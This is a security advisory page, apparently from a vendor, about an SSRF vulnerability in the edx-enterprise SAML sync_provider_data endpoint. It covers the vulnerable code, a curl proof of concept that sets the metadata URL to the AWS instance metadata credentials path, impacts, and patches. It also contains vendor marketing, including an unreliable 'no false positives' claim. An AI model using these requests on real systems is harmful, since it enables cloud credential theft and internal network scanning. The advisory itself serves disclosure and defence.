GHSA-64cv-vxpr-j6vc
HIGHGHSA-64cv-vxpr-j6vc is a high-severity (CVSS 8.5) Server-Side Request Forgery (SSRF) vulnerability in edx-enterprise. O3 Security confirms whether GHSA-64cv-vxpr-j6vc is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
edx-enterprise has SSRF via SAML metadata URL in sync_provider_data endpoint
Blast Radius
edx-enterpriseReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The sync_provider_data endpoint in SAMLProviderDataViewSet fetches SAML metadata from a URL stored in SAMLProviderConfig.metadata_source. An authenticated user with the Enterprise Admin role can set this field to an arbitrary URL via the SAMLProviderConfigViewSet PATCH endpoint, then trigger a server-side HTTP request by calling sync_provider_data. The fetch in fetch_metadata_xml() passes the URL directly to requests.get() with no scheme enforcement, IP filtering, or timeout.
This vulnerability was introduced when the SAML admin viewsets were migrated from openedx-platform into edx-enterprise. A related fix for the equivalent fetch path in openedx-platform (the fetch_saml_metadata Celery task) was applied in GHSA-328g-7h4g-r2m9.
Details
Vulnerable code path:
enterprise/api/v1/views/saml_utils.py:
def fetch_metadata_xml(url):
log.info("Fetching %s", url)
if not url.lower().startswith('https'):
log.warning("This SAML metadata URL is not secure! (%s)", url)
response = requests.get(url, verify=True) # No IP/scheme validation
response.raise_for_status()
enterprise/api/v1/views/saml_provider_data.py:
@action(detail=False, methods=['post'], url_path='sync_provider_data')
def sync_provider_data(self, request):
...
metadata_url = saml_provider.metadata_source # set via SAMLProviderConfig PATCH
xml = fetch_metadata_xml(metadata_url) # triggers the fetch
Missing protections:
- No HTTPS enforcement (HTTP is allowed; the warning is not enforced)
- No blocking of loopback (
127.0.0.0/8) or link-local (169.254.0.0/16) ranges - No blocking of RFC 1918 private ranges
- No request timeout
Proof of Concept
Prerequisites: Authenticated user with Enterprise Admin role for any enterprise customer with a configured SAML Identity Provider.
Step 1: Set a malicious metadata URL via the provider config endpoint:
curl -X PATCH 'https://<instance>/auth/saml/v0/provider_config/<pk>/' \
-H 'Authorization: Bearer <JWT>' \
-H 'Content-Type: application/json' \
-d '{"metadata_source": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}'
Step 2: Trigger the server-side fetch:
curl -X POST 'https://<instance>/auth/saml/v0/provider_data/sync_provider_data' \
-H 'Authorization: Bearer <JWT>' \
-H 'Content-Type: application/json' \
-d '{"enterprise_customer_uuid": "<uuid>"}'
The server fetches the AWS metadata endpoint. Even though XML parsing will fail, the HTTP request is made and timing/error differences confirm reachability of internal addresses.
Impact
An Enterprise Admin can use this SSRF to:
- Steal cloud credentials: Access AWS/GCP/Azure instance metadata services to retrieve IAM temporary credentials, potentially enabling full cloud infrastructure compromise.
- Scan internal networks: Probe internal hosts, ports, and services behind the deployment's firewall.
- Access internal APIs: Reach databases, admin panels, or microservices not exposed to the internet.
Enterprise Admin is a delegated role typically granted to corporate training managers, not platform operators. It should not grant the ability to make the server issue arbitrary outbound HTTP requests.
Patches / Mitigations
Call validate_saml_metadata_url() (importable from common.djangoapps.third_party_auth.utils as of the openedx-platform fix in GHSA-328g-7h4g-r2m9) in fetch_metadata_xml() before calling requests.get(). A request timeout should also be added.
Operators should additionally enforce network-level egress filtering to block outbound connections from the Open edX server to 169.254.0.0/16 and RFC 1918 ranges as a complementary control, particularly to cover hostname-based URLs that cannot be validated at the application layer.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | edx-enterprise | ≥ 7.0.2&&< 7.0.5 | 7.0.5 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for edx-enterprise. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update edx-enterprise to 7.0.5 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-64cv-vxpr-j6vc is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-64cv-vxpr-j6vc is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-64cv-vxpr-j6vc. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-64cv-vxpr-j6vc in your dependencies?
O3 detects GHSA-64cv-vxpr-j6vc across PyPI dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.